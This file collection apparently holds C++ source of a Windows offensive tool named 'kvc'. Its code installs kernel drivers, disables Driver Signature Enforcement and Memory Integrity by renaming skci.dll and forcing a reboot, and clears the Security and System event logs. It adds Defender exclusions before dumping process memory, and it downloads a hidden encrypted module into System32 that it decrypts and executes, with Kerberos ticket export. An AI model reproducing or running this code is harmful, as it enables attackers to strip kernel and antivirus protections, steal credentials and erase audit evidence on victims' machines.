    }

    // Write kvckiller.sys if present
    if (!kvckillerData.empty()) {
        if (!m_trustedInstaller.WriteFileAsTrustedInstaller(kvckillerPath.wstring(), kvckillerData)) {
            if (GetFileAttributesW(kvckillerPath.c_str()) == INVALID_FILE_ATTRIBUTES) {
                return false;
            }
            DEBUG(L"kvckiller.sys write skipped (file locked by running driver) - using existing copy");
        } else if (GetFileAttributesW(kvckillerPath.c_str()) == INVALID_FILE_ATTRIBUTES) {
            return false;
        }
    }

    // Write kvcblocker.sys if present
    if (!kvcblockerData.empty()) {
        if (!m_trustedInstaller.WriteFileAsTrustedInstaller(kvcblockerPath.wstring(), kvcblockerData)) {
            if (GetFileAttributesW(kvcblockerPath.c_str()) == INVALID_FILE_ATTRIBUTES) {
                return false;
            }
            DEBUG(L"kvcblocker.sys write skipped (file locked by running driver) - using existing copy");
        } else if (GetFileAttributesW(kvcblockerPath.c_str()) == INVALID_FILE_ATTRIBUTES) {
            return false;
        }
    }

    // Write kvcstrm.sys
    // If the write fails (e.g. ERROR_SHARING_VIOLATION / error 32 because
    // kvcstrm.sys is currently loaded as an external driver), treat it as
    // non-fatal provided the file already exists on disk. kvc.sys is the only
    // component that must be freshly written; kvcstrm.sys being present and
    // locked means it is already the correct binary from a previous extract.
    if (!m_trustedInstaller.WriteFileAsTrustedInstaller(kvcstrmPath.wstring(), kvcstrmData)) {
        if (GetFileAttributesW(kvcstrmPath.c_str()) == INVALID_FILE_ATTRIBUTES) {
            // File does not exist at all - genuine failure.
            return false;
        }
        // File exists but is locked - acceptable, continue.
        DEBUG(L"kvcstrm.sys write skipped (file locked by running driver) - using existing copy");
    } else if (GetFileAttributesW(kvcstrmPath.c_str()) == INVALID_FILE_ATTRIBUTES) {
        return false;
    }

    // Register service
    return RegisterDriverServiceSilent(driverPath.wstring());
}

bool Controller::RegisterDriverServiceSilent(const std::wstring& driverPath) noexcept {
    if (!InitDynamicAPIs()) return false;
    
    if (IsServiceZombie()) {
        DEBUG(L"Zombie service detected - restart required");
        return false;
    }
    
    SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS);
    if (!hSCM) return false;

    SC_HANDLE hService = g_pCreateServiceW(
        hSCM, 
        GetServiceName().c_str(), 
        L"KVC",
        SERVICE_ALL_ACCESS, 
        SERVICE_KERNEL_DRIVER,
        SERVICE_DEMAND_START,
        SERVICE_ERROR_NORMAL, 
        driverPath.c_str(),
        nullptr, nullptr, nullptr, nullptr, nullptr
    );

    bool success = (hService != nullptr) || (GetLastError() == ERROR_SERVICE_EXISTS);
    
    if (hService) CloseServiceHandle(hService);
    CloseServiceHandle(hSCM);
    return success;
}

// ============================================================================
// DRIVER UNINSTALLATION
// ============================================================================

bool Controller::UninstallDriver() noexcept {
    StopDriverService();

    if (!InitDynamicAPIs()) return true;

    SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS);
    if (!hSCM) {
        return true;
    }

    std::wstring serviceName = GetServiceName();
    SC_HANDLE hService = g_pOpenServiceW(hSCM, serviceName.c_str(), DELETE);
    if (!hService) {
        CloseServiceHandle(hSCM);
        return true;
    }

    BOOL success = g_pDeleteService(hService);
    CloseServiceHandle(hService);
    CloseServiceHandle(hSCM);

    if (!success) {
        DWORD err = GetLastError();
        if (err != ERROR_SERVICE_MARKED_FOR_DELETE) {
            ERROR(L"Failed to delete driver service: %d", err);
            return false;
        }
    }

    // File cleanup is always attempted regardless of SCM state
    DeleteDriverFiles();

    return true;
}

// Removes kvc.sys, kvcstrm.sys, kvckiller.sys and kvcblocker.sys from DriverStore using TrustedInstaller privileges.
// Called from both UninstallDriver() and HandleUninstall() to ensure cleanup
// even when the SCM entry is already gone.
void Controller::DeleteDriverFiles() noexcept
{
    fs::path driverDir     = GetDriverStorePath();
    fs::path driverPath    = driverDir / fs::path(GetDriverFileName());
    fs::path kvcstrmPath   = driverDir / fs::path(GetKvcstrmFileName());
    fs::path kvckillerPath = driverDir / L"kvckiller.sys";
    fs::path kvcblockerPath = driverDir / L"kvcblocker.sys";

    // Before deleting kvcstrm.sys, stop and remove the kvcstrm service if it
    // is currently running as an externally loaded driver. Without this step
    // the kernel holds the file open, DeleteFileAsTrustedInstaller() fails
    // silently, and the stale locked file remains on disk. Subsequent kvc
    // operations then fail because InstallDriverSilently() cannot overwrite it.
    if (InitDynamicAPIs()) {
        std::wstring kvcstrmSvc = GetKvcstrmFileName(); // "kvcstrm.sys"
        if (kvcstrmSvc.size() >= 4)
            kvcstrmSvc = kvcstrmSvc.substr(0, kvcstrmSvc.size() - 4); // "kvcstrm"

        SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS);
        if (hSCM) {
            SC_HANDLE hSvc = g_pOpenServiceW(hSCM, kvcstrmSvc.c_str(),
                                             SERVICE_STOP | SERVICE_QUERY_STATUS | DELETE);
            if (hSvc) {
                SERVICE_STATUS svcStatus{};
                if (QueryServiceStatus(hSvc, &svcStatus) &&
                    svcStatus.dwCurrentState != SERVICE_STOPPED) {
                    INFO(L"Stopping external kvcstrm driver before file removal...");
                    g_pControlService(hSvc, SERVICE_CONTROL_STOP, &svcStatus);
                }
                if (!g_pDeleteService(hSvc)) {
                    DWORD err = GetLastError();
                    if (err != ERROR_SERVICE_DOES_NOT_EXIST &&
                        err != ERROR_SERVICE_MARKED_FOR_DELETE) {
                        DEBUG(L"kvcstrm service delete returned: %d", err);
                    }
                } else {
                    DEBUG(L"kvcstrm external service entry removed");
                }
                CloseServiceHandle(hSvc);
            }
            CloseServiceHandle(hSCM);
        }
    }

    auto removeOne = [this](const fs::path& p) {
        std::error_code ec;
        if (fs::remove(p, ec)) {
            DEBUG(L"Removed: %s", p.c_str());
            return;
        }
        // fs::remove returns false both for "not found" (ec==0 on MSVC) and
        // access errors - call TI unconditionally and let it handle both cases.
        m_trustedInstaller.DeleteFileAsTrustedInstaller(p.wstring());
    };

    removeOne(driverPath);
    removeOne(kvcstrmPath);
    removeOne(kvckillerPath);
    removeOne(kvcblockerPath);
}

// ============================================================================
// DRIVER EXTRACTION
// ============================================================================

// Extract drivers from resource (already decrypted by Utils::ExtractResourceComponents)
// Returns kvc.sys data; also populates outKvcKiller, outKvcBlocker and outKvcstrm with their respective driver data
std::vector<BYTE> Controller::ExtractDriver(std::vector<BYTE>& outKvcKiller, std::vector<BYTE>& outKvcBlocker, std::vector<BYTE>& outKvcstrm) noexcept {
    std::vector<BYTE> kvcSysData, dllData, smssData;

    if (!Utils::ExtractResourceComponents(IDR_MAINICON, kvcSysData, outKvcKiller, outKvcBlocker, outKvcstrm, dllData, smssData)) {
        ERROR(L"Failed to extract drivers from resource");
        return {};
    }

    DEBUG(L"kvc.sys extracted: %zu bytes, kvckiller.sys: %zu bytes, kvcblocker.sys: %zu bytes, kvcstrm.sys: %zu bytes",
          kvcSysData.size(), outKvcKiller.size(), outKvcBlocker.size(), outKvcstrm.size());
    return kvcSysData;
}

<<<FILE: kvc/ControllerDSE.cpp>>>
Created:  2026-02-27 12:50:26
Modified: 2026-02-27 11:42:18
Size:     11 KB
// ControllerDSE.cpp
// DSE bypass controller - user interaction layer
// Delegates actual bypass operations to unified DSEBypass class

#include "Controller.h"
#include "SessionManager.h"
#include "common.h"

// ============================================================================
// HELPER: SYSTEM REBOOT
// ============================================================================

static bool InitiateSystemReboot() noexcept {
    HANDLE hToken;
    TOKEN_PRIVILEGES tkp;
    
    if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
        LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid);
        tkp.PrivilegeCount = 1;
        tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
        AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, 0);
        CloseHandle(hToken);
    }
    
    if (InitiateShutdownW(NULL, NULL, 0, SHUTDOWN_RESTART | SHUTDOWN_FORCE_OTHERS, 
                          SHTDN_REASON_MAJOR_SOFTWARE | SHTDN_REASON_MINOR_RECONFIGURE) != ERROR_SUCCESS) {
        ERROR(L"Failed to initiate reboot: %d", GetLastError());
        return false;
    }
    
    return true;
}

// ============================================================================
// STANDARD METHOD (kvc dse off)
// ============================================================================

bool Controller::DisableDSE() noexcept {
    PerformAtomicCleanup();
    
    if (!BeginDriverSession()) {
        ERROR(L"Failed to start driver session for DSE bypass");
        return false;
    }
    
    if (!m_rtc->Initialize()) {
        ERROR(L"Failed to initialize driver handle");
        EndDriverSession(true);
        return false;
    }
    
    DEBUG(L"Driver handle opened successfully");
    
    if (!m_dseBypass) {
        m_dseBypass = std::make_unique<DSEBypass>(m_rtc, &m_trustedInstaller);
    }
    
    // Get current status to check for HVCI
    DSEBypass::Status status;
    if (!m_dseBypass->GetStatus(status)) {
        ERROR(L"Failed to get DSE status");
        EndDriverSession(true);
        return false;
    }
    
    DEBUG(L"Current g_CiOptions: 0x%08X", status.CiOptionsValue);
    
    // Check if HVCI (Memory Integrity) is enabled - 0x0001C006 pattern
    if (status.HVCIEnabled) {
        INFO(L"HVCI detected (g_CiOptions = 0x%08X) - hypervisor bypass required", status.CiOptionsValue);
        INFO(L"Preparing secure kernel deactivation (fully reversible)...");
        
        SUCCESS(L"Secure Kernel module prepared for temporary deactivation");
        SUCCESS(L"System configuration: hypervisor bypass prepared (fully reversible)");
        INFO(L"Note: This method temporarily disables Secure Kernel (skci.dll)");
        INFO(L"Secure Kernel and WSL/WSA will be inactive for the next session");
        
        std::wcout << L"\n";
        std::wcout << L"Reboot now to complete DSE bypass? [Y/N]: ";
        
        wchar_t choice;
        std::wcin >> choice;
        
        if (choice != L'Y' && choice != L'y') {
            INFO(L"HVCI bypass cancelled by user");
            m_rtc->Cleanup();
            EndDriverSession(true);
            return true;  // User cancelled, no error
        }
        
        DEBUG(L"Closing driver handle before file operations");
        m_rtc->Cleanup();
        
        DEBUG(L"Unloading and removing driver service");
        EndDriverSession(true);
        
        DEBUG(L"Driver fully unloaded, proceeding with bypass preparation");
        
        // Recreate DSEBypass for file operations (no driver needed)
        m_dseBypass = std::make_unique<DSEBypass>(m_rtc, &m_trustedInstaller);
        
        if (!m_dseBypass->RenameSkciLibrary()) {
            ERROR(L"Failed to prepare hypervisor bypass");
            return false;
        }
        
        if (!m_dseBypass->CreatePendingFileRename()) {
            ERROR(L"Failed to create PendingFileRenameOperations");
            return false;
        }
        
        SUCCESS(L"HVCI bypass prepared - reboot required");
        INFO(L"After reboot, g_CiOptions will be 0x00000006 (safe to patch)");
        INFO(L"Run 'kvc dse off' again to complete the bypass");
        
        INFO(L"Initiating system reboot...");
        InitiateSystemReboot();
        
        return true;
    }
    
    // HVCI is off, proceed with standard DSE patching
    bool result = m_dseBypass->Disable(DSEBypass::Method::Standard);
    
    EndDriverSession(true);
    
    return result;
}

bool Controller::RestoreDSE() noexcept {
    PerformAtomicCleanup();
    
    if (!BeginDriverSession()) {
        ERROR(L"Failed to start driver session for DSE restore");
        return false;
    }
    
    if (!m_rtc->Initialize()) {
        ERROR(L"Failed to initialize driver handle");
        EndDriverSession(true);
        return false;
    }
    
    if (!m_dseBypass) {
        m_dseBypass = std::make_unique<DSEBypass>(m_rtc, &m_trustedInstaller);
    }
    
    bool result = m_dseBypass->Restore(DSEBypass::Method::Standard);
    
    EndDriverSession(true);
    
    return result;
}

// ============================================================================
// SAFE METHOD (kvc dse off --safe)
// ============================================================================

bool Controller::DisableDSESafe() noexcept {
    PerformAtomicCleanup();

    if (!BeginDriverSession()) {
        ERROR(L"Failed to start driver session for Safe DSE bypass");
        return false;
    }

    if (!m_rtc->Initialize()) {
        ERROR(L"Failed to initialize driver handle");
        EndDriverSession(true);
        return false;
    }

    if (!m_dseBypass) {
        m_dseBypass = std::make_unique<DSEBypass>(m_rtc, &m_trustedInstaller);
    }

    // Get current status to check for HVCI
    DSEBypass::Status status;
    if (!m_dseBypass->GetStatus(status)) {
        ERROR(L"Failed to get DSE status");
        EndDriverSession(true);
        return false;
    }

    // Check if HVCI (Memory Integrity) is enabled - 0x0001C006 pattern
    if (status.HVCIEnabled) {
        INFO(L"Memory Integrity is enabled (g_CiOptions = 0x%08X)", status.CiOptionsValue);
        INFO(L"A reboot is required to disable Memory Integrity before DSE bypass");
        INFO(L"Safe method: preserves VBS functionality (recommended)");
        
        std::wcout << L"\n";
        std::wcout << L"Disable Memory Integrity and reboot now? [Y/N]: ";
        
        wchar_t choice;
        std::wcin >> choice;

        if (choice != L'Y' && choice != L'y') {
            INFO(L"Operation cancelled by user");
            m_rtc->Cleanup();
            EndDriverSession(true);
            return true;  // User cancelled, no error
        }

        // Set HVCI registry to 0
        HKEY hKey;
        if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, 
                          L"SYSTEM\\CurrentControlSet\\Control\\DeviceGuard\\Scenarios\\HypervisorEnforcedCodeIntegrity",
                          0, KEY_SET_VALUE, &hKey) == ERROR_SUCCESS) {
            DWORD disabled = 0;
            RegSetValueExW(hKey, L"Enabled", 0, REG_DWORD, 
                          reinterpret_cast<const BYTE*>(&disabled), sizeof(DWORD));
            RegCloseKey(hKey);
            SUCCESS(L"Memory Integrity disabled in registry");
        } else {
            ERROR(L"Failed to modify HVCI registry key");
            m_rtc->Cleanup();
            EndDriverSession(true);
            return false;
        }

        // Cleanup driver before reboot
        m_rtc->Cleanup();
        EndDriverSession(true);

        INFO(L"Initiating system reboot...");
        INFO(L"After reboot, run 'kvc dse off --safe' again to complete DSE bypass");

        InitiateSystemReboot();

        return true;
    }

    // Memory Integrity is OFF - proceed with SeCiCallbacks patch
    bool result = m_dseBypass->Disable(DSEBypass::Method::Safe);
    EndDriverSession(true);
    return result;
}

bool Controller::RestoreDSESafe() noexcept {
    PerformAtomicCleanup();

    if (!BeginDriverSession()) {
        ERROR(L"Failed to start driver session for Safe DSE restore");
        return false;
    }

    if (!m_rtc->Initialize()) {
        ERROR(L"Failed to initialize driver handle");
        EndDriverSession(true);
        return false;
    }

    if (!m_dseBypass) {
        m_dseBypass = std::make_unique<DSEBypass>(m_rtc, &m_trustedInstaller);
    }

    // Check if we have saved state before attempting restoration
    auto original = SessionManager::GetOriginalCiCallback();
    if (original == 0) {
        INFO(L"No saved DSE state found in registry");
        
        // Check current DSE state
        auto state = m_dseBypass->CheckSafeMethodState();
        auto stateStr = DSEBypass::GetDSEStateString(state);
        
        INFO(L"Current DSE-NG state: %s", stateStr.c_str());
        
        if (state == DSEBypass::DSEState::NORMAL) {
            SUCCESS(L"DSE is already enabled (normal state)");
            EndDriverSession(true);
            return true;
        } else if (state == DSEBypass::DSEState::PATCHED) {
            ERROR(L"DSE is disabled but no saved state - cannot restore");
            ERROR(L"Run 'kvc dse on' (non-safe) or re-run 'kvc dse off --safe' first");
        }
        
        EndDriverSession(true);
        return false;
    }

    bool result = m_dseBypass->Restore(DSEBypass::Method::Safe);
    EndDriverSession(true);
    return result;
}

// ============================================================================
// STATUS OPERATIONS
// ============================================================================

ULONG_PTR Controller::GetCiOptionsAddress() const noexcept {
    if (!m_dseBypass) {
        return 0;
    }
    
    return m_dseBypass->GetCiOptionsAddress();
}

bool Controller::GetDSEStatus(ULONG_PTR& outAddress, DWORD& outValue) noexcept {
    PerformAtomicCleanup();
    
    if (!BeginDriverSession()) {
        ERROR(L"Failed to start driver session for DSE status check");
        return false;
    }
    
    if (!m_rtc->Initialize()) {
        ERROR(L"Failed to initialize driver handle");
        EndDriverSession(true);
        return false;
    }
    
    if (!m_dseBypass) {
        m_dseBypass = std::make_unique<DSEBypass>(m_rtc, &m_trustedInstaller);
    }
    
    DSEBypass::Status status;
    if (!m_dseBypass->GetStatus(status)) {
        EndDriverSession(true);
        return false;
    }
    
    outAddress = status.CiOptionsAddress;
    outValue = status.CiOptionsValue;
    
    EndDriverSession(true);
    return true;
}

// ============================================================================
// DSE-NG STATE CHECKING (for kvc.cpp status display)
// ============================================================================

bool Controller::CheckDSENGState(DSEBypass::DSEState& outState) noexcept {
    if (!m_dseBypass) {
        return false;
    }
    
    outState = m_dseBypass->CheckSafeMethodState();
    return true;
}

std::wstring Controller::GetDSENGStatusInfo() noexcept {
    if (!m_dseBypass) {
        return L"DSEBypass not initialized";
    }
    
    auto state = m_dseBypass->CheckSafeMethodState();
    return DSEBypass::GetDSEStateString(state);
}

<<<FILE: kvc/ControllerEventLogOperations.cpp>>>
Created:  2026-02-27 12:50:26
Modified: 2026-02-27 11:42:18
Size:     1.75 KB
#include "Controller.h"
#include "common.h"

// Fast admin privilege check using SID comparison - standalone function
static bool IsElevated() noexcept 
{
    BOOL isAdmin = FALSE;
    PSID adminGroup = nullptr;
    SID_IDENTIFIER_AUTHORITY ntAuth = SECURITY_NT_AUTHORITY;

    if (AllocateAndInitializeSid(&ntAuth, 2, SECURITY_BUILTIN_DOMAIN_RID,
        DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &adminGroup)) {
        
        CheckTokenMembership(nullptr, adminGroup, &isAdmin);
        FreeSid(adminGroup);
    }
    
    return isAdmin == TRUE;
}

// Core event log clearing function - optimized for speed and reliability
bool Controller::ClearSystemEventLogs() noexcept 
{
    if (!IsElevated()) {
        ERROR(L"Administrator privileges required for event log clearing");
        return false;
    }

    // Primary system logs - order matters for dependency clearing
    constexpr const wchar_t* logs[] = {
        L"Application", L"Security", L"Setup", L"System"
    };
    
    int cleared = 0;
    constexpr int total = sizeof(logs) / sizeof(logs[0]);

    INFO(L"Clearing system event logs...");

    for (const auto& logName : logs) {
        HANDLE hLog = OpenEventLogW(nullptr, logName);
        if (hLog) {
            // Clear with nullptr backup (fastest method)
            if (ClearEventLogW(hLog, nullptr)) {
                SUCCESS(L"Cleared: %s", logName);
                ++cleared;
            } else {
                ERROR(L"Failed to clear: %s (Error: %d)", logName, GetLastError());
            }
            CloseEventLog(hLog);
        } else {
            ERROR(L"Access denied: %s", logName);
        }
    }

    INFO(L"Summary: %d/%d logs cleared", cleared, total);
    return cleared == total;
}

<<<FILE: kvc/ControllerForensic.cpp>>>
Created:  2026-04-12 18:00:03
Modified: 2026-04-12 18:00:03
Size:     9.29 KB
// ControllerForensic.cpp - KvcForensic module extraction and execution
//
// kvcforensic.dat layout (XOR-encrypted with KVC_XOR_KEY):
//   [KvcForensic.exe - PE, size from GetPEFileLength] | [KvcForensic.json - remainder]
//
// Built with KvcXor option 7. Deploy via kvc setup when kvcforensic.dat is present in CWD.
// At runtime kvc.exe extracts both files to %TEMP%\KvcForensic\, executes, cleans up.

#include "Controller.h"
#include "common.h"
#include "Utils.h"
#include <filesystem>
#include <ShlObj.h>
#include <urlmon.h>
#pragma comment(lib, "urlmon.lib")

namespace fs = std::filesystem;

// --- Internal helpers --------------------------------------------------------

static std::wstring GetTempForensicDir() noexcept {
    wchar_t tmp[MAX_PATH];
    DWORD n = GetTempPathW(MAX_PATH, tmp);
    if (n == 0 || n >= MAX_PATH) return L"";
    return std::wstring(tmp) + L"KvcForensic\\";
}

// Search for kvcforensic.dat: System32 first, then CWD.
static std::wstring FindForensicDat() noexcept {
    auto probe = [](const std::wstring& path) {
        return GetFileAttributesW(path.c_str()) != INVALID_FILE_ATTRIBUTES;
    };

    wchar_t sys32[MAX_PATH];
    if (GetSystemDirectoryW(sys32, MAX_PATH)) {
        std::wstring p = std::wstring(sys32) + L"\\" + KVC_FORENSIC_FILE;
        if (probe(p)) return p;
    }

    wchar_t cwd[MAX_PATH];
    if (GetCurrentDirectoryW(MAX_PATH, cwd)) {
        std::wstring p = std::wstring(cwd) + L"\\" + KVC_FORENSIC_FILE;
        if (probe(p)) return p;
    }

    return L"";
}

// XOR-decrypt kvcforensic.dat, split into KvcForensic.exe + KvcForensic.json,
// write both to outDir. Returns path to extracted KvcForensic.exe or empty on failure.
static std::wstring ExtractForensic(const std::wstring& datPath, const std::wstring& outDir) noexcept {
    auto enc = Utils::ReadFile(datPath);
    if (enc.empty()) return L"";

    auto dec = Utils::DecryptXOR(enc, KVC_XOR_KEY);
    if (dec.empty()) return L"";

    auto exeLen = Utils::GetPEFileLength(dec, 0);
    if (!exeLen || *exeLen == 0 || *exeLen >= dec.size()) return L"";

    try { fs::create_directories(outDir); } catch (...) { return L""; }

    const std::wstring exePath  = outDir + KVC_FORENSIC_EXE;
    const std::wstring jsonPath = outDir + KVC_FORENSIC_JSON;

    std::vector<BYTE> exeData(dec.begin(), dec.begin() + static_cast<std::ptrdiff_t>(*exeLen));
    std::vector<BYTE> jsonData(dec.begin() + static_cast<std::ptrdiff_t>(*exeLen), dec.end());

    if (!Utils::WriteFile(exePath, exeData)) return L"";
    if (!Utils::WriteFile(jsonPath, jsonData)) return L"";

    return exePath;
}

static void CleanupForensicTemp(const std::wstring& dir) noexcept {
    try { fs::remove_all(dir); } catch (...) {}
}

// Launch exePath with optional args, inherit console, wait for exit.
static bool RunForensicProcess(const std::wstring& exePath, const std::wstring& args) noexcept {
    std::wstring cmdLine = L"\"" + exePath + L"\"";
    if (!args.empty()) { cmdLine += L" "; cmdLine += args; }

    STARTUPINFOW si{};
    si.cb = sizeof(si);
    PROCESS_INFORMATION pi{};

    if (!CreateProcessW(nullptr, cmdLine.data(), nullptr, nullptr,
                        TRUE,   // inherit console handles
                        0, nullptr, nullptr, &si, &pi)) {
        return false;
    }

    WaitForSingleObject(pi.hProcess, INFINITE);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    return true;
}

// Download kvcforensic.dat from GitHub and save to System32.
// Prompts the user first. Returns the destination path on success, empty on failure/cancel.
static std::wstring PromptAndDownloadForensicDat() noexcept {
    printf("[*] kvcforensic.dat not found. Download from github? [Y/n]: ");
    fflush(stdout);
    wchar_t ch = static_cast<wchar_t>(_getwch());
    wprintf(L"%lc\n", ch);
    if (ch == L'n' || ch == L'N') {
        INFO(L"Download cancelled. Place kvcforensic.dat in the current directory and run 'kvc setup'.");
        return L"";
    }

    wchar_t sys32[MAX_PATH];
    if (GetSystemDirectoryW(sys32, MAX_PATH) == 0) {
        ERROR(L"Failed to get System32 path.");
        return L"";
    }
    const std::wstring destPath = std::wstring(sys32) + L"\\" + KVC_FORENSIC_FILE;

    INFO(L"Downloading kvcforensic.dat...");
    HRESULT hr = URLDownloadToFileW(nullptr,
        L"https://github.com/wesmar/kvc/releases/download/latest/kvcforensic.dat",
        destPath.c_str(), 0, nullptr);
    if (FAILED(hr)) {
        ERROR(L"Download failed (0x%08X). Check internet connection.", static_cast<unsigned>(hr));
        return L"";
    }

    SetFileAttributesW(destPath.c_str(), FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_HIDDEN);
    SUCCESS(L"kvcforensic.dat downloaded to System32.");
    return destPath;
}

// --- Public Controller methods -----------------------------------------------

bool Controller::IsForensicAvailable() noexcept {
    return !FindForensicDat().empty();
}

// Deploy kvcforensic.dat from CWD to System32 (called from setup when file is present).
// Not an error if the file is absent — forensic module is optional.
bool Controller::DeployForensicModule() noexcept {
    const fs::path src = fs::current_path() / KVC_FORENSIC_FILE;
    if (!fs::exists(src)) return false;

    wchar_t sys32[MAX_PATH];
    if (GetSystemDirectoryW(sys32, MAX_PATH) == 0) {
        ERROR(L"Failed to get System32 path.");
        return false;
    }

    const std::wstring dst = std::wstring(sys32) + L"\\" + KVC_FORENSIC_FILE;

    auto data = Utils::ReadFile(src.wstring());
    if (data.empty()) {
        ERROR(L"Failed to read kvcforensic.dat.");
        return false;
    }

    INFO(L"Deploying kvcforensic.dat to System32...");
    if (!WriteFileWithPrivileges(dst, data)) {
        ERROR(L"Failed to deploy kvcforensic.dat to System32.");
        return false;
    }

    SetFileAttributesW(dst.c_str(), FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_HIDDEN);
    SUCCESS(L"kvcforensic.dat deployed - forensic analysis available via 'kvc analyze'.");
    return true;
}

// Analyze a minidump using the embedded KvcForensic.exe.
// format: "txt" | "json" | "both" (default "both").
// Output files are written alongside the dump (same directory, same stem).
bool Controller::RunForensicAnalysis(const std::wstring& dumpPath,
                                     const std::wstring& format,
                                     bool full,
                                     const std::wstring& ticketsDir) noexcept {
    std::wstring datPath = FindForensicDat();
    if (datPath.empty()) {
        datPath = PromptAndDownloadForensicDat();
        if (datPath.empty()) return false;
    }

    // Validate input file
    if (GetFileAttributesW(dumpPath.c_str()) == INVALID_FILE_ATTRIBUTES) {
        ERROR(L"Dump file not found: %s", dumpPath.c_str());
        return false;
    }

    const std::wstring tempDir = GetTempForensicDir();
    if (tempDir.empty()) { ERROR(L"Failed to resolve temp directory."); return false; }

    INFO(L"Extracting forensic module...");
    const std::wstring exePath = ExtractForensic(datPath, tempDir);
    if (exePath.empty()) {
        ERROR(L"Failed to extract KvcForensic from kvcforensic.dat.");
        CleanupForensicTemp(tempDir);
        return false;
    }

    // Derive output path alongside the dump file
    const fs::path dumpFs(dumpPath);
    const std::wstring outBase = (dumpFs.parent_path() / dumpFs.stem()).wstring();
    const std::wstring outTxt  = outBase + L".txt";

    // Build KvcForensic.exe argument list
    const std::wstring fmt = format.empty() ? L"both" : format;
    std::wstring args = L"--analyze-dump";
    args += L" --input \""  + dumpPath + L"\"";
    args += L" --output \"" + outTxt   + L"\"";
    args += L" --format "   + fmt;
    if (full) args += L" --full";
    if (!ticketsDir.empty()) args += L" --export-tickets \"" + ticketsDir + L"\"";

    INFO(L"Analyzing: %s", dumpPath.c_str());
    if (!RunForensicProcess(exePath, args)) {
        ERROR(L"Failed to launch KvcForensic.exe (error: %lu).", GetLastError());
        CleanupForensicTemp(tempDir);
        return false;
    }

    // Report output locations
    if (fmt == L"txt" || fmt == L"both")
        SUCCESS(L"Text report : %s", outTxt.c_str());
    if (fmt == L"json")
        SUCCESS(L"JSON report : %s", (outBase + L".json").c_str());
    else if (fmt == L"both")
        SUCCESS(L"JSON report : %s", (outBase + L".json").c_str());

    CleanupForensicTemp(tempDir);
    return true;
}

// Launch KvcForensic.exe in GUI mode (no --analyze-dump flag → window opens).
bool Controller::LaunchForensicGui() noexcept {
    std::wstring datPath = FindForensicDat();
    if (datPath.empty()) {
        datPath = PromptAndDownloadForensicDat();
        if (datPath.empty()) return false;
    }

    const std::wstring tempDir = GetTempForensicDir();
    if (tempDir.empty()) { ERROR(L"Failed to resolve temp directory."); return false; }

    INFO(L"Extracting forensic module...");
    const std::wstring exePath = ExtractForensic(datPath, tempDir);
    if (exePath.empty()) {
        ERROR(L"Failed to extract KvcForensic from kvcforensic.dat.");
        CleanupForensicTemp(tempDir);
        return false;
    }

    INFO(L"Launching KvcForensic GUI...");
    if (!RunForensicProcess(exePath, L"")) {
        ERROR(L"Failed to launch KvcForensic.exe (error: %lu).", GetLastError());
        CleanupForensicTemp(tempDir);
        return false;
    }

    CleanupForensicTemp(tempDir);
    return true;
}

<<<FILE: kvc/ControllerMemoryOperations.cpp>>>
Created:  2026-04-12 14:54:04
Modified: 2026-04-12 14:54:04
Size:     11.43 KB
// ControllerMemoryOperations.cpp
#include "Controller.h"
#include "common.h"
#include "Utils.h"
#include <DbgHelp.h>

extern volatile bool g_interrupted;

// Atomic memory dump operations with comprehensive process validation
bool Controller::DumpProcess(DWORD pid, const std::wstring& outputPath, std::wstring* outDumpPath) noexcept {
    return CreateMiniDump(pid, outputPath, outDumpPath);
}

bool Controller::DumpProcessByName(const std::wstring& processName, const std::wstring& outputPath, std::wstring* outDumpPath) noexcept {
    if (!PerformAtomicInitWithErrorCleanup()) {
        return false;
    }
    
    auto matches = FindProcessesByName(processName);
    
    if (matches.empty()) {
        ERROR(L"No process found matching pattern: %s", processName.c_str());
        PerformAtomicCleanup();
        return false;
    }
    
    if (matches.size() > 1) {
        ERROR(L"Multiple processes found matching pattern '%s'. Please use a more specific name:", processName.c_str());
        for (const auto& match : matches) {
            std::wcout << L"  PID " << match.Pid << L": " << match.ProcessName << L"\n";
        }
        PerformAtomicCleanup();
        return false;
    }

    auto match = matches[0];
    INFO(L"Found process: %s (PID %d)", match.ProcessName.c_str(), match.Pid);

    PerformAtomicCleanup();

    return CreateMiniDump(match.Pid, outputPath, outDumpPath);
}

// Create comprehensive memory dump with protection elevation and Defender bypass
bool Controller::CreateMiniDump(DWORD pid, const std::wstring& outputPath, std::wstring* outDumpPath) noexcept {
    if (!PerformAtomicInit()) {
        return false;
    }
    
    if (g_interrupted) {
        INFO(L"Operation cancelled by user before start");
        PerformAtomicCleanup();
        return false;
    }
    
    std::wstring processName = Utils::GetProcessName(pid);

    // Try to add process to Defender exclusions to prevent interference during dumping
    std::wstring processNameWithExt = processName;
    if (processNameWithExt.find(L".exe") == std::wstring::npos) {
        processNameWithExt += L".exe";
    }
    
    if (!m_trustedInstaller.AddProcessToDefenderExclusions(processName, false)) {
        INFO(L"AV exclusion skipped: %s", processName.c_str());
    }
	
	if (!m_trustedInstaller.AddExtensionExclusion(L"dmp", false)) {
    INFO(L"AV extension exclusion skipped: .dmp");
	}

    // System process validation - these processes cannot be dumped
    if (pid == 4 || processName == L"System") {
        ERROR(L"Cannot dump System process (PID %d) - Windows kernel process, undumpable by design", pid);
        m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName, false);
        PerformAtomicCleanup();
        return false;
    }

    if (pid == 188 || processName == L"Secure System") {
        ERROR(L"Cannot dump Secure System process (PID %d) - VSM/VBS protected process, undumpable", pid);
        m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName, false);
        PerformAtomicCleanup();
        return false;
    }

    if (pid == 232 || processName == L"Registry") {
        ERROR(L"Cannot dump Registry process (PID %d) - kernel registry subsystem, undumpable", pid);
        m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName, false);
        PerformAtomicCleanup();
        return false;
